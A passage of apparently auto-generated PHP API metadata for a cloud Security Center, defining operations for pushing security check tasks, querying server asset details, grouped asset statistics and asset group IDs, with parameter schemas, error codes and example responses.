'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92382', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers on which you want to perform security check tasks. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-923b4538-0e88-409d-80ba-cb2e7487****,dc1691eb-656f-472f-b2aa-04f621f4****,70452f92-9fc1-45c5-ab35-e7bf8552****', ], ], [ 'name' => 'Tasks', 'in' => 'query', 'schema' => [ 'description' => 'The check items. Separate multiple check items with commas (,). Valid values:'."\n" ."\n" .'* **OVAL_ENTITY**: Common Vulnerabilities and Exposures (CVE) vulnerabilities.'."\n" .'* **CMS**: Web-CMS vulnerabilities.'."\n" .'* **SYSVUL**: Windows system vulnerabilities.'."\n" .'* **SCA**: application vulnerabilities.'."\n" .'* **HEALTH_CHECK**: baselines.'."\n" .'* **WEBSHELL**: webshells.'."\n" .'* **PROC_SNAPSHOT**: processes.'."\n" .'* **PORT_SNAPSHOT**: ports.'."\n" .'* **ACCOUNT_SNAPSHOT**: accounts.'."\n" .'* **SOFTWARE_SNAPSHOT**: software assets.'."\n" .'* **SCA_SNAPSHOT**: middleware, databases, and web services.'."\n" .'* **CROND_SNAPSHOT**: scheduled tasks.'."\n" .'* **AUTORUN_SNAPSHOT**: startup items.'."\n" .'* **LKM_SNAPSHOT**: kernel modules.'."\n" .'* **SCA_PROXY_SNAPSHOT**: websites.'."\n", 'type' => 'string', 'required' => true, 'example' => 'HEALTH_CHECK,OVAL_ENTITY', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '91EB4AC7-7FEF-4C72-BE49-4414E459AEC2', ], 'PushTaskRsp' => [ 'description' => 'The results of security check tasks.'."\n", 'type' => 'object', 'properties' => [ 'PushTaskResultList' => [ 'description' => 'The information about the server on which security check tasks failed.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '5493fe42-61f5-4627-9aa2-8c449bbe****', ], 'GroupId' => [ 'description' => 'The ID of the server group to which the server belongs.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '226', ], 'Success' => [ 'description' => 'Indicates whether the security check task is successful. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'false', ], 'Region' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-beijing', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'TestInstance', ], 'Online' => [ 'description' => 'Indicates whether the Security Center agent is online. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n" ."\n" .'> If the Security Center agent of the server is offline, Security Center does not protect the server.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'Message' => [ 'description' => 'The message that describes the security check failure.'."\n", 'type' => 'string', 'example' => 'successful', ], 'Ip' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '127.XX.XX', ], 'OsVersion' => [ 'description' => 'The operating system version of the server.'."\n", 'type' => 'string', 'example' => 'linux', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-wz9f7wlklxqnvdk****', ], ], 'description' => '', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'PushTaskError', 'errorMessage' => 'Failed to push task.', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'FreeVersionNotPermit', 'errorMessage' => 'Free version is not permitted.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"91EB4AC7-7FEF-4C72-BE49-4414E459AEC2\\",\\n \\"PushTaskRsp\\": {\\n \\"PushTaskResultList\\": [\\n {\\n \\"Uuid\\": \\"5493fe42-61f5-4627-9aa2-8c449bbe****\\",\\n \\"GroupId\\": 226,\\n \\"Success\\": false,\\n \\"Region\\": \\"cn-beijing\\",\\n \\"InstanceName\\": \\"TestInstance\\",\\n \\"Online\\": false,\\n \\"Message\\": \\"successful\\",\\n \\"Ip\\": \\"127.136.XX.XX\\",\\n \\"OsVersion\\": \\"linux\\",\\n \\"InstanceId\\": \\"i-wz9f7wlklxqnvdk****\\"\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 91EB4AC7-7FEF-4C72-BE49-4414E459AEC2\\n \\n \\n 5493fe42-61f5-4627-9aa2-8c449bbe****\\n 226\\n false\\n cn-beijing\\n 按量计费线上监控\\n false\\n {\\"code\\":\\"clinent_offline\\",\\"message\\":\\"客户端不在线\\",\\"success\\":false}\\n 127.XX.XX\\n linux\\n i-wz9f7wlklxqnvdk****\\n \\n \\n","errorExample":""}]', 'title' => 'ModifyPushAllTask', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeAssetDetailByUuid' => [ 'summary' => 'Queries the details of a server and the extended information about the server by using the UUID of the server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91990', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.0.XX.XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server to query.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '39031E31-6BBA-5C99-A870-D807E78918CD', ], 'AssetDetail' => [ 'description' => 'The details of the server.'."\n", 'type' => 'object', 'properties' => [ 'CpuInfo' => [ 'description' => 'The details of the CPU.'."\n", 'type' => 'string', 'example' => 'Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'OsDetail' => [ 'description' => 'The operating system version of the server.'."\n", 'type' => 'string', 'example' => 'Linux 64bit', ], 'CreateTime' => [ 'description' => 'The timestamp when Security Center records the details of the server. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1603863599000', ], 'Kernel' => [ 'description' => 'The kernel version of the operating system.'."\n", 'type' => 'string', 'example' => '4.18.0-80.11.2.el8_0.x86_64', ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'OsName' => [ 'description' => 'The name of the operating system.'."\n", 'type' => 'string', 'example' => '-', ], 'Tag' => [ 'description' => 'The tag that is added to the server.'."\n", 'type' => 'string', 'example' => 'InternetIp', ], 'ClientStatus' => [ 'description' => 'The status of the Security Center agent. Valid values:'."\n" ."\n" .'* **pause**: The Security Center agent suspends protection for your server.'."\n" .'* **online**: The Security Center agent is protecting your server.'."\n" .'* **offline**: The Security Center agent does not protect your server.'."\n", 'type' => 'string', 'example' => 'online', ], 'Mem' => [ 'description' => 'The memory size of the server. Unit: GB.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '32', ], 'Memory' => [ 'description' => 'The memory size of the server. Unit: MB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '512', ], 'VpcInstanceId' => [ 'description' => 'The ID of the virtual private cloud (VPC) in which the server resides.'."\n", 'type' => 'string', 'example' => 'vpc-bp1fs3bwonlfq503w****', ], 'AuthVersion' => [ 'description' => 'The edition of Security Center that is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **1**: Basic edition (Unauthorized)'."\n" .'* **6**: Anti-virus edition'."\n" .'* **5**: Advanced edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **7**: Ultimate edition', 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'i-fasdfasdfadfafa****', ], 'Region' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou-dg-a01', ], 'GroupTrace' => [ 'description' => 'The group to which the server belongs. By default, the servers that are not grouped belong to the **Default** group.'."\n", 'type' => 'string', 'example' => 'default', ], 'Ip' => [ 'description' => 'The IP address that is assigned to the Elastic Compute Service (ECS) instance.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'HostName' => [ 'description' => 'The name of the host.'."\n", 'type' => 'string', 'example' => 'qewrqwerqs****', ], 'Os' => [ 'description' => 'The operating system type of the server.'."\n", 'type' => 'string', 'example' => 'linux', ], 'AuthModifyTime' => [ 'description' => 'The timestamp when Security Center is authorized to protect the asset. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1627974044000', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-uf6h7p2fgk6rkk0g****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'AssetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **0**: ECS instance'."\n" .'* **1**: Server Load Balancer (SLB) instance'."\n" .'* **2**: NAT gateway'."\n" .'* **3**: ApsaraDB RDS database'."\n" .'* **4**: ApsaraDB for MongoDB database'."\n" .'* **5**: ApsaraDB for Redis database'."\n" .'* **6**: image'."\n" .'* **7**: container'."\n", 'type' => 'string', 'example' => '0', ], 'RegionId' => [ 'description' => 'The ID of the region in which the asset resides.'."\n", 'type' => 'string', 'example' => 'cn-hanghzou', ], 'SysInfo' => [ 'description' => 'The operating system information about the server.'."\n", 'type' => 'string', 'example' => 'CentOS Linux 8.0.1905', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', ], 'Cpu' => [ 'description' => 'The number of CPU cores.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RegionName' => [ 'description' => 'The name of the region in which the server resides.'."\n", 'type' => 'string', 'example' => 'China (Hohhot)', ], 'Flag' => [ 'description' => 'Indicates whether the asset is provided by Alibaba Cloud. Valid values:'."\n" ."\n" .'* **0**: yes'."\n" .'* **1**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ClientVersion' => [ 'description' => 'The version of the Security Center agent.'."\n", 'type' => 'string', 'example' => '2.0.0', ], 'IpList' => [ 'description' => 'The IP addresses of the server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP addresses of the server.'."\n", 'type' => 'string', 'example' => '["192.168.XX.XX"]', ], ], 'MacList' => [ 'description' => 'The media access control (MAC) addresses of the server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The MAC addresses of the server.'."\n", 'type' => 'string', 'example' => '["00:16:3*:1*:9*:cf"]', ], ], 'DiskInfoList' => [ 'description' => 'An array that consists of the information about the disk.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the disk. This parameter contains the following fields:'."\n" ."\n" .'* **diskName**: the name of the disk.'."\n" .'* **totalSize**: the total amount of the disk space. Unit: GB.'."\n" .'* **useSize**: the amount of the used disk space. Unit: GB.'."\n" .'* **useSizeByte**: the amount of the used disk space. Unit: bytes.'."\n" .'* **totalSizeByte**: the total amount of the disk space. Unit: bytes.'."\n", 'type' => 'string', 'example' => '{diskName: "/dev/vda1", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::GetAssetDetailByUuid', ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"39031E31-6BBA-5C99-A870-D807E78918CD\\",\\n \\"AssetDetail\\": {\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\",\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"OsDetail\\": \\"Linux 64bit\\",\\n \\"CreateTime\\": 1603863599000,\\n \\"Kernel\\": \\"4.18.0-80.11.2.el8_0.x86_64\\",\\n \\"Bind\\": true,\\n \\"OsName\\": \\"-\\",\\n \\"Tag\\": \\"InternetIp\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"Mem\\": 32,\\n \\"Memory\\": 512,\\n \\"VpcInstanceId\\": \\"vpc-bp1fs3bwonlfq503w****\\",\\n \\"AuthVersion\\": 7,\\n \\"InstanceName\\": \\"i-fasdfasdfadfafa****\\",\\n \\"Region\\": \\"cn-hangzhou-dg-a01\\",\\n \\"GroupTrace\\": \\"default\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"HostName\\": \\"qewrqwerqs****\\",\\n \\"Os\\": \\"linux\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"InstanceId\\": \\"i-uf6h7p2fgk6rkk0g****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AssetType\\": \\"0\\",\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"SysInfo\\": \\"CentOS Linux 8.0.1905\\",\\n \\"Uuid\\": \\"9e6cad93-a379-46fd-a701-9bbf02f4****\\",\\n \\"Cpu\\": 2,\\n \\"RegionName\\": \\"China (Hohhot)\\",\\n \\"Flag\\": 0,\\n \\"ClientVersion\\": \\"2.0.0\\",\\n \\"IpList\\": [\\n \\"[\\\\\\"192.168.XX.XX\\\\\\"]\\"\\n ],\\n \\"MacList\\": [\\n \\"[\\\\n \\\\\\"00:16:3*:1*:9*:cf\\\\\\"\\\\n]\\"\\n ],\\n \\"DiskInfoList\\": [\\n \\"{diskName: \\\\\\"/dev/vda1\\\\\\", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}\\"\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 39031E31-6BBA-5C99-A870-D807E78918CD\\n \\n Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\n 192.168.XX.XX\\n Linux 64bit\\n 1603863599000\\n 4.18.0-80.11.2.el8_0.x86_64\\n true\\n CentOS 8.0 64位\\n InternetIp\\n online\\n 32\\n 512\\n vpc-bp1fs3bwonlfq503w****\\n 7\\n i-fasdfasdfadfafa****\\n cn-hangzhou-dg-a01\\n 未分组\\n 192.168.XX.XX\\n qewrqwerqs****\\n linux\\n 1627974044000\\n i-uf6h7p2fgk6rkk0g****\\n 192.168.XX.XX\\n 0\\n cn-hanghzou\\n CentOS Linux 8.0.1905\\n 9e6cad93-a379-46fd-a701-9bbf02f4****\\n 2\\n 华东1（杭州）\\n 0\\n 2.0.0\\n [\\"192.168.XX.XX\\"]\\n [\\"00:16:3*:1*:9*:cf\\"]\\n [ { \\"diskName\\": \\"/dev/vda1\\", \\"totalSize\\": 20, \\"useSize\\": 2 } ]\\n \\n","errorExample":""}]', 'title' => 'DescribeAssetDetailByUuid', 'description' => 'This operation will be discontinued soon. You must call the [GetAssetDetailByUuid](~~GetAssetDetailByUuid~~) operation to query the details of the server.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeGroupedInstances' => [ 'summary' => 'Queries the statistical information about assets based on a specified filter condition.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92085', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'MachineTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the assets that you want to query. Set the value to **ecs**, which indicates Elastic Compute Service (ECS) instances.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], [ 'name' => 'GroupField', 'in' => 'query', 'schema' => [ 'description' => 'The filter condition that you want to use to query the assets. Valid values:'."\n" ."\n" .'* **groupId**: the group to which the assets belong'."\n" .'* **regionId**: the region in which the assets reside'."\n" .'* **vpcInstanceId**: the virtual private cloud (VPC) in which the assets reside'."\n", 'type' => 'string', 'required' => true, 'example' => 'groupId', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The name of the group to which the assets belong. Fuzzy search is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-01', ], ], [ 'name' => 'NoPage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable paged query. Default value: **true**. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The source of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: a third-party cloud server'."\n" .'* **2**: a server in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'Vendors', 'in' => 'query', 'schema' => [ 'description' => 'The source of the server. Separate multiple sources with commas (,).Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: a third-party cloud server'."\n" .'* **2**: a server in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset', 'type' => 'string', 'required' => false, 'example' => '0,8', ], ], [ 'name' => 'SaleVersionCheckCode', 'in' => 'query', 'schema' => [ 'description' => 'The edition of Security Center that protects the asset. Valid values:'."\n" ."\n" .'* **sas_gte_advanced**: the Advanced edition or higher'."\n" .'* **sas_gte_enterprise**: the Enterprise edition or higher'."\n" .'* **sas_gt_basic:** a paid edition'."\n" .'* **sas_eq_advanced:** the Advanced edition'."\n" .'* **sas_gt_anti_virus:** an edition higher than the Anti-virus edition', 'type' => 'string', 'required' => false, 'example' => 'sas_gt_basic', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '52A3AEE6-114A-499D-8990-4BA9B27FE0AA', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Instances' => [ 'description' => 'The information about the assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the asset.'."\n", 'type' => 'object', 'properties' => [ 'AsapVulInstanceCount' => [ 'description' => 'The number of assets on which high-risk vulnerabilities are detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11', ], 'UnProtectedInstanceCount' => [ 'description' => 'The number of assets that are not protected by Security Center.'."\n", 'type' => 'string', 'example' => '32', ], 'FieldAliasName' => [ 'description' => 'The name of the server group.'."\n", 'type' => 'string', 'example' => 'testA', ], 'InstanceCount' => [ 'description' => 'The total number of assets that belong to the specified type.'."\n" ."\n" .'> If the **MachineTypes** request parameter is not specified, the value of the InstanceCount parameter is the total number of your assets.'."\n", 'type' => 'string', 'example' => '205', ], 'RiskInstanceCount' => [ 'description' => 'The number of assets that are at risk.'."\n", 'type' => 'string', 'example' => '172', ], 'GroupFlag' => [ 'description' => 'The type of the server group. Valid values:'."\n" ."\n" .'* **0**: the default group'."\n" .'* **1**: other group'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AuthVersionCheckCount' => [ 'description' => 'The number of assets that are protected by the specified edition.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '205', ], 'Os' => [ 'description' => 'The operating system type of the asset. Valid values:'."\n" ."\n" .'* **windows**'."\n" .'* **linux**'."\n" ."\n" .'> This parameter is returned only when Lang is set to zh.', 'type' => 'string', 'example' => 'windows', ], 'InstanceCoreCount' => [ 'description' => 'The number of cores of assets in the specified asset type.'."\n" ."\n" .'> If the **MachineTypes** request parameter is not specified, the value of the InstanceCoreCount parameter indicates the total number of cores of assets within your account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '610', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 5,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"Instances\\": [\\n {\\n \\"AsapVulInstanceCount\\": 11,\\n \\"UnProtectedInstanceCount\\": \\"32\\",\\n \\"FieldAliasName\\": \\"testA\\",\\n \\"InstanceCount\\": \\"205\\",\\n \\"RiskInstanceCount\\": \\"172\\",\\n \\"GroupFlag\\": 1,\\n \\"AuthVersionCheckCount\\": 205,\\n \\"Os\\": \\"windows\\",\\n \\"InstanceCoreCount\\": 610\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\n \\n 5\\n 20\\n 100\\n 20\\n \\n \\n 11\\n 32\\n testA\\n 205\\n 172\\n 1\\n \\n","errorExample":""}]', 'title' => 'DescribeGroupedInstances', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'QueryGroupIdByGroupName' => [ 'summary' => 'Queries the ID of an asset group by using the name of the asset group.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.12.XX.XX', ], ], [ 'name' => 'GroupName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the asset group.'."\n", 'type' => 'string', 'required' => true, 'example' => 'TestGroupName', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'GroupId' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '9935302', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"GroupId\\": 9935302\\n}","errorExample":""},{"type":"xml","example":"\\n 24A20733-10A0-4AF6-BE6B-E3322413BB68\\n 9935302\\n","errorExample":""}]', 'title' => 'QueryGroupIdByGroupName', 'description' => 'You can call the QueryGroupIdByGroupName operation to query the ID of an asset group to which your assets belong by using the name of the asset group. When you call operations such as [GetSuspiciousStatistics](~~GetSuspiciousStatistics~~) and [DeleteGroup](~~DeleteGroup~~), you must specify the ID of the asset group. To query the ID of an asset group, call the QueryGroupIdByGroupName operation.'."\n" ."\n" .'### Limits'."\n" ."\n" .'You can call this operation up to 10 times per second per account. If the number of the calls per second exceeds the limit, throttling is triggered. As a result, your business may be affected. We recommend that you take note of the limit when you call this operation.'."\n", ], 'DescribeAssetSummary' => [ 'summary' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', 'FEATUREsas36IOGX', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0FA7F1F4-488D-52CA-9BFC-3E47793B49D1', ], 'AssetsSummary' => [ 'description' => 'The statistical information about the assets.'."\n", 'type' => 'object', 'properties' => [ 'TotalCoreNum' => [ 'description' => 'The total number of cores of protected assets in the current region.'."\n" ."\n" .'> Security Center supports the Hangzhou and Singapore service centers, which separately correspond to the China and Outside China data management centers. In the Hangzhou service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the China data management center. In the Singapore service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the Outside China data management center. You can determine whether the current region is covered by the China data management center or by the Outside China data management center based on the endpoint of Security Center. For more information about the supported regions for each data management center, see [What is Security Center?](~~42302~~)'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1022', ], 'TotalAssetAllRegion' => [ 'description' => 'The total number of protected assets in all regions.'."\n" ."\n" .'> Security Center supports the Hangzhou and Singapore service centers, which separately correspond to the China and Outside China data management centers. In the Hangzhou service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the China data management center. In the Singapore service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the Outside China data management center. You can determine whether the current region is covered by the China data management center or by the Outside China data management center based on the endpoint of Security Center. For more information about the supported regions for each data management center, see [What is Security Center?](~~42302~~)'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2064', ], 'TotalCoreAllRegion' => [ 'description' => 'The total number of cores of protected assets in all regions.'."\n" ."\n" .'> Security Center supports the Hangzhou and Singapore service centers, which separately correspond to the China and Outside China data management centers. In the Hangzhou service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the China data management center. In the Singapore service center, Security Center provides protection capabilities for assets that are deployed in the regions covered by the Outside China data management center. You can determine whether the current region is covered by the China data management center or by the Outside China data management center based on the endpoint of Security Center. For more information about the supported regions for each data management center, see [What is Security Center?](~~42302~~)'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3200', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": 